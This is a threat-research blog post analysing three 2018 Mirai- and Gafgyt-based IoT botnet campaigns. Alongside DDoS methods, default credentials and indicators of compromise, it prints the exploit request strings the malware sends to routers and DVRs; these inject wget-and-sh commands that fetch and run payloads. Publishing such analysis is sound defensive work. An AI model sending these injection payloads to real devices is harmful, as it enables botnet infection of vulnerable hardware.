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Unit 42 Finds New Mirai and Gafgyt IoT/Linux Botnet Campaigns ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 10 min read * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Ruchna Nigam](https://unit42.paloaltonetworks.com/author/ruchna-nigam/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:July 20, 2018 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/) * [DDoS](https://unit42.paloaltonetworks.com/tag/ddos/) * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/) * [Gafgyt](https://unit42.paloaltonetworks.com/tag/gafgyt/) * [Hakai](https://unit42.paloaltonetworks.com/tag/hakai/) * [IoT](https://unit42.paloaltonetworks.com/tag/iot/) * [Linux](https://unit42.paloaltonetworks.com/tag/linux/) * [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/) * [Okane](https://unit42.paloaltonetworks.com/tag/okane/) * [Omni](https://unit42.paloaltonetworks.com/tag/omni/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/?pdf=download&lg=en&_wpnonce=40dbae5d0f "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/?pdf=print&lg=en&_wpnonce=40dbae5d0f "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Unit%2042%20Finds%20New%20Mirai%20and%20Gafgyt%20IoT/Linux%20Botnet%20Campaigns&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns%2F&title=Unit%2042%20Finds%20New%20Mirai%20and%20Gafgyt%20IoT/Linux%20Botnet%20Campaigns "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns%2F&text=Unit%2042%20Finds%20New%20Mirai%20and%20Gafgyt%20IoT/Linux%20Botnet%20Campaigns "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Unit%2042%20Finds%20New%20Mirai%20and%20Gafgyt%20IoT/Linux%20Botnet%20Campaigns%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns%2F "Share in Mastodon") The end of May 2018 has marked the emergence of three malware campaigns built on publicly available source code for the [Mirai]() and [Gafgyt](https://en.wikipedia.org/wiki/BASHLITE) malware families that incorporate multiple known exploits affecting Internet of Things (IoT) devices. Samples belonging to these campaigns incorporate as many as eleven exploits within a single sample, beating the [IoT Reaper](https://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/) malware, which borrowed some of the Mirai source code but also came with an integrated LUA environment that incorporated nine exploits in its code. In their newest evolution, samples also target the [D-Link DSL-2750B OS Command Injection](https://www.exploit-db.com/exploits/44760/) vulnerability, only a few weeks after the publication of its Metasploit module on the 25th of May (even though the vulnerability has been public knowledge since [February of 2016](https://seclists.org/fulldisclosure/2016/Feb/53)). While exploring samples belonging to one of these campaigns, I also discovered they support several new DDoS methods previously unused by Mirai variants. This blog post details each campaign (in the chronological order they were observed) along with the exploits used, the new DDoS methods supported, ending in a comparative summary of the campaigns. Also covered is the tangential discovery of some Gafgyt samples incorporating new Layer 7 DDoS functionality targeting a known DDoS-protection provider. IOCs for different campaigns, if not mentioned under the corresponding section, can be found at the end of this blog post. CAMPAIGN 1: An evolution of Omni In [May 2018](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3), the Omni botnet, a variant of Mirai, was found exploiting two [vulnerabilities](https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/) affecting Dasan GPON routers - CVE-2018-10561 (authentication bypass) and CVE-2018-1562 (command injection). The two vulnerabilities used in conjunction allow the execution of commands sent by an unauthenticated remote attacker to a vulnerable device. Since then the same family has evolved to incorporate several more exploits, detailed in Table 1. I used the sample below for this analysis |------------|------------------------------------------------------------------| | **SHA256** | 3908cc1d8001f926031fbe55ce104448dbc20c9795b7c3cfbd9abe7b789f899d | |------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **VULNERABILITY** | **AFFECTED DEVICES** | **EXPLOIT FORMAT** | | [CVE-2018-10561, CVE-2018-10562](https://www.exploit-db.com/exploits/44576/) | Dasan GPON routers | XWebPageName=diag\&diag\_action=ping\&wan\_conlist=0\&dest\_host=;wget+http://%s/gpon80+-O+-\>/tmp/gpon80;sh+/tmp/gpon80\&ipv=0 XWebPageName=diag\&diag\_action=ping\&wan\_conlist=0\&dest\_host=;wget+http://%s/gpon8080+-O+-\>/tmp/gpon8080;sh+/tmp/gpon8080\&ipv=0 | | [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/) | Different devices using the Realtek SDK with the miniigd daemon | POST /picsdesc.xml \\\\\\\47500\\TCP\\44382\\`cd /tmp/; rm -rf*; wget http://%s/realtek`\\1\\syncthing\\0\\\\POST /picsdesc.xml \\\\\\\47500\\TCP\\44382\\`cd /tmp/;chmod +x realtek;./realtek realtek`\\1\\syncthing\\0\\\\ | | [Netgear setup.cgi unauthenticated RCE](https://www.exploit-db.com/exploits/43055/) | DGN1000 Netgear routers | GET /setup.cgi?next\_file=netgear.cfg\&todo=syscmd\&cmd=rm+-rf+/tmp/\*;wget+http://%s/netgear+-O+/tmp/netgear;sh+netgear\&curpath=/\¤tsetting.htm=1 | | [CVE-2017-17215](https://www.exploit-db.com/exploits/43414/) | Huawei HG532 | POST /ctrlt/DeviceUpgrade\_1 \\\\\$(/bin/busybox wget -g %s -l /tmp/huawei -r /huawei; sh /tmp/huawei)\\$(echo HUAWEIUPNP)\\\\ | | [Eir WAN Side Remote Command Injection](https://www.exploit-db.com/exploits/40740/) | Eir D1000 routers | POST /UD/act?1 \\\\\\\r\&\&tar${IFS}/string.js | | [JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVRs, among others | GET /shell?cd+/tmp;rm+-rf+\*;wget+http://%s/jaws;sh+/tmp/jaws | | [UPnP SOAP TelnetD Command Execution](https://www.exploit-db.com/exploits/28333/) | D-Link devices | POST /soap.cgi?service=WANIPConn1 \\\\\\\\\`cd /tmp;rm -rf *;wget http://%s/dlink;sh /tmp/dlink`\\1\\634\\\\TCP\\45\\\\ | | [Netgear cgi-bin Command Injection](https://www.exploit-db.com/exploits/41598/) | Netgear R7000/R6400 devices | GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://%s/netgear2;${IFS}sh${IFS}/var/tmp/netgear2 | | [Vacron NVR RCE](https://blogs.securiteam.com/index.php/archives/3445) | Vacron NVR devices | GET /board.cgi?cmd=cd+/tmp;rm+-rf+\*;wget+http://%s/vacron;sh+/tmp/vacron | All of these vulnerabilities are publicly known and have been exploited by different botnets either separately or in combination with others in the past, however, this is the first Mirai variant using all eleven of them together. **Differentiating features of the campaign:** * Two different encryption schemes: Aside from using the standard XOR encryption scheme seen in all Mirai variants, in this case using the table key 0xBAADF00D samples make use of a second key for the encryption of certain config strings. * Samples rely solely on exploits for propagation and don't perform a credential brute-force attack. * Further infection of infected devices is prevented by dropping packets received on certain ports using iptables (Figure 1) ![Mirai\_1](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_1.png) *Figure 1: Screenshot from malware disassembly showing the use of iptables to drop future connection attempts via certain ports* The campaign makes use of the IP 213\[.\]183.53.120 both for serving payloads, and as a Command and Control (C2) server. Pivoting off this IP, I discovered some Gafgyt samples that surfaced around the same time reporting to the same IP, but using a new method named '*SendHTTPCloudflare* '. This method is detailed at the end of this blog post. This campaign was linked to the Omni variant on several references in the code as seen such as the one seen in Figure 2 below. ![Mirai\_2](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_2.png) *Figure 2: OMNI reference in samples* The encrypted strings also reference a website gpon\[.\]party that was down at the time of this writing. ![Mirai\_3](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_3.png) *Figure 3: gpon\[.\]party reference* CAMPAIGN 2: Okane Samples from this campaign were served from the IP 46\[.\]243.189.101. This host briefly had an open directory containing the samples, as seen in the figure below. ![Mirai\_4](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_4.png) *Figure 4: Screenshot from open directory at payload server 46\[.\]243.189.101* The payload source in this attack was located at hxxp://46\[.\]243.189.101/gang/. The downloaded payload is a shell script that attempts to replicate itself by downloading Okane binaries to vulnerable devices. On the 13^th^ of June, the payload source for some of these samples was briefly replaced with the Cloudflare DNS server 1\[.\]1.1.1. This campaign incorporates the same exploits listed in Table 1. Figure 5 shows these exploits being called sequentially in one of the samples belonging to this campaign. Each call results in the creation of a dedicated fork for each exploit. ![Mirai\_5](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_5.png) *Figure 5: Screenshot from malware disassembly of exploit calls in a sample from Campaign 2* Unlike the previous campaign, these samples also perform a credential brute force attack. Some unusual entries were discovered on the brute force lists in these samples, such as the following: * root/t0talc0ntr0l4! - default credentials for [Control4](https://open-sez.me/passwd-control4.htm) devices * admin/adc123 - default credentials for [ADC FlexWave Prism](https://fccid.io/F8I-PSM0804A/User-Manual/Users-Manual-2-1600135.pdf) devices * mg3500/merlin - default credentials for [Camtron IP cameras](https://seclists.org/bugtraq/2010/Nov/127) Some samples belonging to this campaign include the addition of two new DDoS methods to the Mirai source code. Below are descriptions of these new DDoS methods, extracted from the following sample. |------------|------------------------------------------------------------------| | **SHA256** | 320ed65d955bdde8fb17a35024f7bd978d26c041de1ddcf8a592974f77d82401 | * **attack\_method\_tcpxmas:** involves sending TCP packets with all flags set, also known as [Christmas tree packet](https://en.wikipedia.org/wiki/Christmas_tree_packet) This could be considered a more effective means of DDoS since these packets \*"require much more processing by routers and end-hosts than the "usual" packets do."\*This method has already been observed used by Gafgyt and Kaiten variants in the past. The payload size of packets sent is set to 768 bytes. * \*\*attack\_method\_std:\*\*involves sending packets with a randomized payload of 1024 bytes. Digging deeper reveals that samples using these attack methods have been part of a Mirai code fork from as early as August 2017. Some newer samples from the same campaign also integrate additional methods that only appear in samples from the beginning of June 2018. Some notable methods are detailed below. For this analysis I used a sample with the following hash. |------------|------------------------------------------------------------------| | **SHA256** | be1d722af56ba8a660218a8311c0482c5b2d096ba91485e7d9dfc12a2b8e00b3 | * **attack\_method\_udpgame**: UDP DDoS using SOCK\_RAW from a random source port to the destination port 27015 (often used by online game servers). * **attack\_method\_asyn**: TCP DDoS using packets with random source and destination ports, using packets with the ACK and SYN flags set. * **attack\_method\_tcpfrag**: TCP DDoS using SOCK\_RAW with random source and destination ports and sequence number, and flags URG, ACK, PSH, RST, SYN and FIN set. In this case the 'Don't Fragment' bit is set to 1. * **attack\_method\_tcpall** : same as *attack\_method\_tcpfrag*above, except the 'Don't Fragment' bit is set to 0. * **attack\_method\_tcpusyn**: TCP DDoS using packets with random source and destination ports, using packets with the URG and SYN flags set. On the 19th of June, samples on this server were stripped of their exploits and reverted to using a simple brute force and subsequently dropping a shell script, for self-propagation. ![Mirai\_6](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_6.png) *Figure 6: Shell script used by newer Okane samples for self-propagation* CAMPAIGN 3: Hakai Earlier samples belonging to this campaign use all the exploits detailed in Table 1, except for the UPnP SOAP TelnetD Command Execution exploit. The payload source for this campaign was hxxp://hakaiboatnet\[.\]pw/m and the C2 server was 178\[.\]128.185.250. Samples make use of an encryption scheme similar to Mirai; unlike previous campaigns, they are built on the Gafgyt source code, which is also known as Bashlite, Lizkebab, Torlus or LizardStresser. Samples listen for the following commands: |-------------|----------------------| | **Command** | **Translation** | | SC ON | Scanner On | | SC OFF | Scanner Off | | H | HTTP Flood | | U | UDP Flood | | S | STD Flood | | T | TCP Flood | | KT | Kill scanner threads | Newer samples from the same server were found to have also incorporated an OS Command Injection exploit against D-Link DSL-2750B devices. These samples use the same attack methods, encryption key and C2 as the samples above, however they source their payload from hxxp://178\[.\]128.185.250/e. ![Mirai\_7](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_7.png) *Figure 7: Exploit targeting D-Link DSL-2750B devices used in newer samples of the campaign* Summary Table 2 shows a comparative summary of the three campaigns |----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|--------------|-------------------------------------------------------------|-------------------------|----------------------------------------------------------------------------------------------------|------------------------------------| | **Campaign** | **Exploits Used** | **Built on** | **Payload source** | **C2** | **Config string encryption/decryption key** | **Also brute forces credentials?** | | 1: Evolution of OMNI | All exploits in Table 1 | Mirai | hxxp://213\[.\]183.53.120 | 213\[.\]183.53.120 | Two different keys used -- 0xBAADF00D, 0xDEADBEEF (or the equivalent of a byte-wise XOR with 0x22) | No | | 2: Okane | All exploits in Table 1 | Mirai | hxxp://46\[.\]243.189.101/gang/ | 142\[.\]129.169.83:5888 | 0xDEACFBEF | Yes | | 3: Hakai | All exploits in Table 1, except UPnP SOAP TelnetD Command Execution. Newer samples also incorporate a D-Link DSL-2750B OS Command Injection exploit | Gafgyt | hxxp://hakaiboatnet\[.\]pw/m, hxxp:// 178\[.\]128.185.250/e | 178\[.\]128.185.250 | 0xDEDEFFBA | Yes | *Table 2: Comparative summary of the attack campaigns* Gafgyt with a new Layer-7 attack Layer-7 DDoS attacks targeting specific DDoS protection service vendors are not new and were already observed in the form of the [DvrHelper](https://blog.trendmicro.com/trendlabs-security-intelligence/reigning-king-ip-camera-botnets-challengers/) variant of Mirai. They have however not been observed used by Gafgyt samples until now. While pivoting on the C2 used by samples of Campaign 1, I came across some Gafgyt samples listening for an additional command called *HTTPCF* . When this command is received, the bot calls a function called *SendHTTPCloudflare* that does as its name suggests, targeting a URL path used mostly by sites protected by Cloudflare. The earliest samples observed using this attack were from the end of May 2018. ![Mirai\_8](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_8.png) *Figure 8: URL format targeted by HTTPCF* Samples use the same IP i.e. 213\[.\]183.53.120 at port 8013 for C2 communication. They also make use of some unusual User-Agents (UA) as seen in Figure 9. All UAs found in these samples are listed in the appendix ![Mirai\_9](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Mirai_9.png) *Figure 9: Some unusual User Agents found in related Gafgyt samples* Conclusion The initial rise of botnets targeting embedded systems had brought to light the security risks from millions of Internet-connected devices configured with default credentials. The evolution of these botnets to the use of multiple exploits, be it IoT Reaper or the campaigns discussed here, shows how attackers can build enormous botnets consisting of different types of devices, all responding to the same C2 server. This is exacerbated by the speed of exploitation in the wild of newly released vulnerabilities and also highlights the need for security vendor reactivity in response to these disclosures, applicable to the subset of these devices that do fall under the protection of security devices. However, the onus is on device manufacturers to ensure their devices are easy to update, and that they deploy the updates in a timely manner. Palo Alto Networks customers benefit from the following protections against these attacks: AutoFocus customers can track these activities using individual exploit tags: * [CVE-2017-17215](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2017-17215) * [CVE-2014-8361](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2014-8361) * [DLinkOSInjection](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DLinkOSInjection) * [NetgearRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.NetgearRCE) * [VacronNVRRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.VacronNVRRCE) * [EirRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.EirRCE) * [GPONExploits](https://autofocus.paloaltonetworks.com/#/tag/Unit42.GPONExploits) * [DLinkDSL2750BOSCmdInjection](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DLinkDSL2750BOSCmdInjection) AutoFocus customers can also use the following malware family tags : * [Gafygt](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Gafgyt) * [ELFMirai](https://autofocus.paloaltonetworks.com/#/tag/Unit42.ELFMirai) WildFire detects all related samples with malicious verdicts. All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB. Indicators of Compromise |------------------------------------------------------------------| | **Campaign 1 samples** | | 000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63 | | 37e3a07a17a82175c60992f18eaf169e4014915eb90fac5b4704060572cfa60b | | 3908cc1d8001f926031fbe55ce104448dbc20c9795b7c3cfbd9abe7b789f899d | | 3b3a66c2c27f5821d5304e22a2a34b044027ffaac327df5263674b4aa25bc901 | | 4c07af1041e0d83437d4b14226204652574b428cd1dbd4bfc7047c13dffc4700 | |---------------------------------| | **Campaign 1 related URLs/IPs** | | 213\[.\]183.53.120 | |------------------------------------------------------------------| | **Okane Multi-exploit samples** | | 00499879c74122881e436fbf701a823d4dc53ff6946e58dd0e5410bad24f3d57 | | 0fa81ebe444cfe7413f90ca116817cdfa3ccfdc41160fcd64032630d30b2d598 | | 11628ac93368228e949d9b7e380a065e58c02626a8fd7896db8c2dec51583d1d | | 1d6c5a560bbb57695c502b5d642e48fbe6bddc45defdb56fa25bd94ae17e5a14 | | 216492260b8d1342988c1688962dd95a48af8c801afe03c6801ec07d74862e60 | | 264a194bda6aaa51665d5c872237613ac153e67827e7b0bbbe84b4e8e464544c | | 38736acdf58a418acd778a3203df9e84b4470a71031fe9e6d52170ad3c15e794 | | 39893d4a033fd29faea37d09b4c8cfb9be04ffc19288506551e18d294e96bb2d | | 49f98a91c95a633a6d7a9a134e3a8e881e12aeede758a4367432ad3cab1c2b28 | | 50473fc0d89fd5ed0a20c96f34c419c5ee66e630fecb88a095283450229a934e | | 509a7cc2335ef667ddc20298a3fae9c9c966be400719343cb59b042d05a98426 | | 5352dc35d97ceb2d9bf58113ee1196daea66cd4a4bce9acba29ee05f4d84170e | | 55771db22c6305f7fba0b20b19b8537e85a45b80ddbcba1ffe0f6d30ef8697d6 | | 645128d788b5cc1becc2546973e658c03e2ee33116013b84c05904a18044e353 | | 834e675813e517aa0b4b6c65edbb2e8bf141b272f6918b443c69793db365ff3b | | 893309bc397058d50bba7c5c077bfc7f64956a098e452c63813c074beb8837dc | | 8b65ac91af993f95b57535e5a71571bbc06fbb37e1bfd47313585dceda345fd9 | | 916cf77c6af335732007fd0c09ec49b8f29053731a062c33a66d65793495dcd5 | | 93fa2bb5a64216d8579a53debcb9b2dade3a0a995c3026b04667fd472e7841a3 | | 9e150ccd410ed8a3a8673e092450bd6dc0f5abc2d7306e2d05b57cfb21d8d4df | | 9fe586ead4a1b003c023c75467c9b1fcda3414265ea50e060e939a4078c79234 | | a0d7592cfcd469e10a9ca463780737c76d3e61c5b750345998b18721b3565f0d | | a36adfa5ecec9ad5429c817de3fbece20d1b526c116d2bfccd9366aabacc2c32 | | ac7bb0c8bf67186572ee931f86f679e12f6737d8e36936fb40a870dc3aeeee22 | | b2156ce005eacccabe0ed668bbced761df1da1f1da32e645d344eaa8f075dbb9 | | b55bea0bf708734491d101f41ecdbb592e69b8ccc053b7dfc33fe3e465c80b9f | | b72c22efed4b68d52fbc97360c388fc1812d431c208cf35af5bdcc850e8a2e01 | | bc11fcafe415b1bf74abbeb5189cb72f991bb6dfb01b61f2d96cbb4cfd6d9e2f | | bd89be28ddecca983cc91835febce818a1f09bda471399b031f99c5278169344 | | bf94315a9591d77ee2d08823afaeaf7e45133d4af2d3c3ce4086aff371f248d2 | | c02a7a06f77bad974acd6bc193e1cb7dc73a009317f1044d202593dc3b0a67cf | | c42bdc0d7bbdf9a74db9233010f2b04ca14e0864119a1c98d6c8a7a63574791c | | c659709cbea976692e4be58f1f04d99127b55325f404c63525fb9ab575a66b2d | | c750d1ad0d5f5d7dda2ab8dba33fa49ef1c636905abab364a70db44ab8035ab6 | | cfd33c0bcb7001c56a8e9438c1a5d6b34c6bdd7a2404c2fe0cdfea00abdf355a | | d15d46b4d9d826bcf8cb0b43fa1f7e874708db9bb068c3aff27daa7193b51fd7 | | d2655773f812887da069965ad8113501aeb0a0e26aa27faa9a1469fd510ceb3c | | dacdf9b548f123482f5ecc2a29d2d156021bdab250a933ace9aee140041b9abb | | dbdffabc13a70a41188900620569266b5774deb007e0ef6dc63ff16ce72b4595 | | dcfae13f567ea01c872db539c5d89448ebde2debe46421eccf752d4e20298c58 | | e0ddec27709ec513886a217009f55994ddf61f58887774d6403ec18d5612d9e6 | | e8782c38fc7c148be589a3c44f915719378840ddbf709fd48932797609f8daf2 | | ec1fdb298556406d75506a234562f60ae517569963a317741dd4bd90680fb4ad | | edf32e6317253a323c4e815485ff4b97c4e0af268be8d78c9c0e48ac87e52e55 | | f390995777d4cad93854e4030b8bc33d2405c7ddd548da5e00a589b9e7afd722 | |----------------------------| | **Okane related IPs/URLs** | | 46\[.\]243.189.101 | | 142\[.\]129.169.83:5888 | |------------------------------------------------------------------| | **Okane Multi-exploit samples fetching payload from 1.1.1.1** | | 25763b7871c0be5dc9a3ffa4abb4fce308297baf14c0389a70336b429b0c7c39 | | 7bde2df856061806a1a7294b780bfbcf1439ec0f9dbb4d6495c7c0d5873505d5 | | fca262afd92ec24af4370c664b68f453c3f97f3555ab37178ec80bbaebf7dfa6 | |-----------------------------------------------------------------------------------| | **Okane Multi-exploit samples using attack\_method\_tcpxmas and attack\_method\_std** | | 0e7d4fa178b78cbfd0eaea910a53c7b933590764b72a93cd54f5823076869ab5 | | 320ed65d955bdde8fb17a35024f7bd978d26c041de1ddcf8a592974f77d82401 | | 5eef17f59d2c3d88d08da8d07dcca13e4225d800fce7a7fed5504e789008dc17 | | 692b3b9ea76447447b11655711cdd22040972b1903749fe49b478ec92cdd4f7a | | a0d7592cfcd469e10a9ca463780737c76d3e61c5b750345998b18721b3565f0d | | a36adfa5ecec9ad5429c817de3fbece20d1b526c116d2bfccd9366aabacc2c32 | | c42bdc0d7bbdf9a74db9233010f2b04ca14e0864119a1c98d6c8a7a63574791c | | d15d46b4d9d826bcf8cb0b43fa1f7e874708db9bb068c3aff27daa7193b51fd7 | |-------------------------------------------------------------------------| | **Okane sample without exploits using several additional DDoS methods** | | 0ea858e747863f2c94eda3f28167951ad8cafca2cb0be1c247d01a53fb7e56e0 | | be1d722af56ba8a660218a8311c0482c5b2d096ba91485e7d9dfc12a2b8e00b3 | |------------------------------------------------------------------| | **Hakai samples** | | 0f5b814308193064bc4ece4266def5c1baecc491117f07650c5117762648d4c5 | | 46625884d4cc5ec9ca32221e90f3c187ef7d713fbabe8e33cad843587c0911e0 | | 721da99e8789cdcb73db87353e2be7b82c9158e2929b9eaa7d5b4660b6d4d1e2 | | 76a2853701ab4a8d989f383857d0d4cb8d6a7df38d543d4cb06a02079acb74c2 | | 7e8280387887f27461f2ed758a401daf49e27342c684f199751391bfb83f438d | | c959e580c4709c8aa304ffe5b3ab4ccfbdb3327b695cf5f8b4d27591664579f7 | | d248c1ce41d474de0ea05b34d721271c53a861e06d355e4e6e83a8955c7bbc0a | | d669388681bb8d17aa2d5ee1f943ae5e8ad8729d88c78ec86b10fe51a4701c43 | | f05e731a3dca8868af3a05ae4867a39f397e0d54221229c0be74c8a20d00e364 | |---------------------| | **Hakai URLs/IPs** | | hakaiboatnet\[.\]pw | | 178\[.\]128.185.250 | |------------------------------------------------------------------| | **Gafgyt HTTPCF samples** | | 1eec1ef48d93106f3f00b4d4868b32a3ca8ca8da9a0852ef81a9e9226206362b | | 385ba7fcf276fb0b469defac7762908921df820c550e98abadec725f455b76fe | | 5c797cd7faf5061a75c68cc8f658c7daab94c223f523bfca0a28ba2620b1cd9f | | 8339dc35688574b33b523234ba76fee56d57b369c9c0292644ec2a0cf798244d | | a5fe23186c95bfa9e5df8b3fb28a1922a1e820b8f51401d9042542e18f9aaec1 | | c12132f341d19c386a617ff2a607df35648ab6f17106608a575d086fadfe3a04 | | c159087ee8af27685a6b46b18cb59dfbcff85a165cd308c5d617eb3f8166b328 | | e949a6429530b8b6876073dc025a0cda0d6311a6dc15fcb72b24a3fe6cb86529 | | fe0c3682dac042b8cb92e731ace80660d7722782c1c5551ec2a18e747788c73d | APPENDIX |---------------------------------------------------------------------------------------------------------------------------------------| | **User-Agents used by Gafgyt HTTPCF samples** | | MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 | | Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000 | | Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0 | | MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0 | | Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) | | Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0) | | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0 | | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10\_5\_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0 | | SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 | | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57) | | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server\_JP) | | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 | | Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36 | | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 | | Mozilla/5.0 (X11; Linux x86\_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 | | Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01 | | Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 | | BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100 | | BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 | | Doris/1.15 \[en\] (Symbian) | | Bunjalloo/0.7.6(Nintendo DS;U;en) | | PSP (PlayStation Portable); 2.00 | | Mozilla/4.0 (PSP (PlayStation Portable); 2.00) | | wii libnup/1.0 | | Mozilla/5.0 (X11; Linux x86\_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2 | | Mozilla/5.0 (PLAYSTATION 3; 3.55) | | Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7 | | Mozilla/5.0 